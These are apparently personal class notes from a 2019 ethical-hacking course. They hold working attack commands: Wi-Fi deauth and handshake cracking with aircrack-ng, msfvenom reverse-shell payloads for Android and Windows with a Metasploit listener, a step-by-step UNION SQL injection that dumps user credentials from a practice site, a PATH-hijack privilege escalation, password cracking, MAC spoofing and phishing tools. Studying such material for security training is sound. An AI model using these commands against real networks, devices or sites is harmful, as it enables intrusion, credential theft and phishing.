**10-6-19**

TOE- target of evolution

Scope- your task is scope(hacking amazon.com)

White hat hacking- with written permission(NDA- Non Disclosure agreement, without nda you cant perform hacking), we are provided all the details

Grey hart- partial information is provided(guest login is provided but we have to find ips)

Black hat- Zero knowledge( no pre knowledge is provided for the hackers)

Zero day attack- a vulnerability whose solution is unknown

Security audit- check if a company is following security policies

Vulnerability assessment -

Penetration test-

Elements of hacking?information security

Confidentiality

Integrity

Availability

Authenticity

Non repudiation

Phases of ethical hacking-

1-Information gathering: Gathering information about the target(facebook)

redhawk

Nslookup

Pipl-people search

Social engineering- check his social media

Virustotal.com- you can put file there and check what all anti virus are able to detect it

Dumpster diving- gain information from garbage

Observation- what are people talking in company , are they talking about username or password

Wpscan- scans wordpress sites

2-Scanning:

Type of scanning:

a)Port scan: check for the open ports,

Nmap

Wireshark

Burpsuit-give a list and it will fire the list on input fields

b)Vulnerability scan

Nessus

Acunetix

Nmap

Nikto

Id server

3-Gaining access:

Exploit-db

Rapid7

4-Maintaining Access

Privilige escalation(nmap --interactive)

Binding payload with bakground running applications

5-Covering tracks/clearing logs

Whatever you did while ethical hacking for com

Csrf- cross site request forgery

Id server

Temp mail

## 

1’ OR ‘1’=’1

Shodan.io - checks for the iot devices connected to net

‘<https://www.exploit-db.com/>

Sqlmap- does all kinds of sql injection automatically on website

Google docs

Inurl:passwords.txt

Wifi hacking

Airmon-ng start wlan0

It enables the monitor mode

Airodump-ng wlan0mon

Scan the access point in range

Airodump-ng wlan0mon --bssid 64:66:B3:E2:8D:14 -c 6 -w A1

To know how many devices are connected to a particular router

Aireplay-ng -0 0 -a 64:66:B3:E2:8D:14 wlan0mon

Capture handshake, -0 deauth, 0 infinite amount of packets

Aircrack-ng -w /root/Desktop/rockyou.txt A1-01.cap

Automated wifi hacking tools

Wifite

Fluxion

Airgeddon

Wifi phisher

Lazy script

Pmkid-pair wise master key identification

Beacons- shows live access points

Wep-wired equivalent protection, 6 digit pin is there

Wps-wifi protected setup

Alternatives of kali linux

Arch backbox centos debian parrot

1,6,11 commonly used channels for wifi access points

**11-6-19**

Payload creation:

msfvenom -p android/meterpreter/reverse\_tcp LHOST=\*\*\* LPORT=\*\*\* R>filename.apk

Msfvenom: payload creation

-p: payload

Android: defines the platform

Meterpreter: gaining all access

Reverse\_tcp: creating backgate tunnel for host and the victim

LHOST: listenig host, ip address

LPORT: listening port, eg 4444

R: rawfile

Listener:

Terminal:- msfconsole

In msfconsole

1) use exploit/multi/handler

2) set payload android/meterpreter/reverse\_tcp

3) set lhost \*\*\*

4) set lport \*\*\*

5) exploit

Or

Run

? help

SQlinjection

Sqlmap -u url --dbs

--dbs:extracts database

Sqlmap -u url -D database\_name --tables

Get the tables from database

Sqlmap -u url -D database\_name -T table\_name -columns

To fetch column data

Sqlmap -u url -D database\_name -T table\_name -C column\_name --dump

--dump:to save

Types of xss

Stored xss

reflected xss

DOM based

**12-6-19**

Windows hacking

Payload creation:

msfvenom -p windows/meterpreter/reverse\_tcp LHOST=\*\*\* LPORT=\*\*\* -f exe -o filename.exe

Use:

Shell

For executing shell command

Manual SQLInjection attack:

site= testphp.vulnweb.com/artists.php

1)testphp.vulnweb.com/artists.php/artists=1’

Putting comma to check for error

2)testphp.vulnweb.com/artists.php/artists=1 ORDER BY 1

testphp.vulnweb.com/artists.php/artists=1 ORDER BY 2

..

testphp.vulnweb.com/artists.php/artists=1 ORDER BY n

To check how many pages are connected to database

3)testphp.vulnweb.com/artists.php/artists=1 UNION SELECT 1,2,3

Basically do 1,2,3,,,,,n

4)testphp.vulnweb.com/artists.php/artists=-1 UNION SELECT 1,2,3

Providing wrong input to database due to which it showed that theres an artists named table on 2

5)testphp.vulnweb.com/artists.php/artists=-1 UNION SELECT 1,database(),3

Will give database name

6)testphp.vulnweb.com/artists.php/artists=-1 UNION SELECT 1,version(),3

To check database version

7)testphp.vulnweb.com/artists.php/artists=-1 UNION SELECT 1,current\_user(),3

Will give current user

8)testphp.vulnweb.com/artists.php/artists=-1 UNION SELECT 1,table\_name,3 FROM information\_schema.tables where table\_schema=database() LIMIT 0,1

0,1

1,1

2,1

3,1

Keep checking till where it goes

9)testphp.vulnweb.com/artists.php/artists=-1 UNION SELECT 1,group\_concat(table\_name),3 FROM information\_schema.tables where table\_schema=database()

The tables list will be fetched

10)testphp.vulnweb.com/artists.php/artists=-1 UNION SELECT 1,group\_concat(column\_name),3 FROM information\_schema.tables where table\_name=’users’

Will give columns

11)testphp.vulnweb.com/artists.php/artists=-1 UNION SELECT 1,group\_concat(uname),3 FROM users

Will give login username

testphp.vulnweb.com/artists.php/artists=-1 UNION SELECT 1,group\_concat(test),3 FROM users

Will give password

Keylogger:

sAINT

(git library)

Windows store id pass in ‘SAM’ folder

Linux stores id pass in ‘etc/shadow’ folder in encrypted format which can be decrypted johnthereeper and hashcat

Mac changing:

Ifconfig eth0 down

This wil switch off interface

Macchanger -m eth0

This will change the mac

Ifconfig eth0 up

Start interface

Macchanger -r eth0

Randomly changes mac

When system reboots original mac address comes back

Tv hacking

chrome cast

Cctv camera hacking

Angry ip scanner - ip scan for cctvs cameras ip

routersploit

Nullbyte

Undetectable payload/firewall bypass

TheFatRat

**13-06-19**

Phishing:

Hidden eye

(phishing tool)

Ngrok- web servers for phishing/system hacking/ android hacking

PasteJacker

Photon

Trape

Th3inspector

Redhawk

Andrawx

Lazymaux

Password Cracking:

Using JohnTheReeper

john

It will show help

John filename.txt

Will decrypt the file

To unlock encypted zip

John filepath/filename.zip >filetosavehash.txt

Save hash of zip in text file

John --format=zip filetosavehash.txt

Decrpyts hash

Crunch

Customized word list generator

Crunch min max option

Crunch 0 5 123fhsk

Cewl- it’ll make keywords of specified domain or url

Cewl url

Checkentire network

Netdiscover

Privilge esclation command

Find / -pem -u=s -type f 2>/dev/null

Echo “/bin/sh” > ps

Chmod 777 ps

Echo $PATH

Export $PATH=.:$PATH

Echo $PATH

./procwatch

Learn the ports

Uniscan

(directorysearch, file check, web fingerprint,)

Uniscan -q

-q for directory check

-w for file check

-e robots.txt check

-o fro google docs check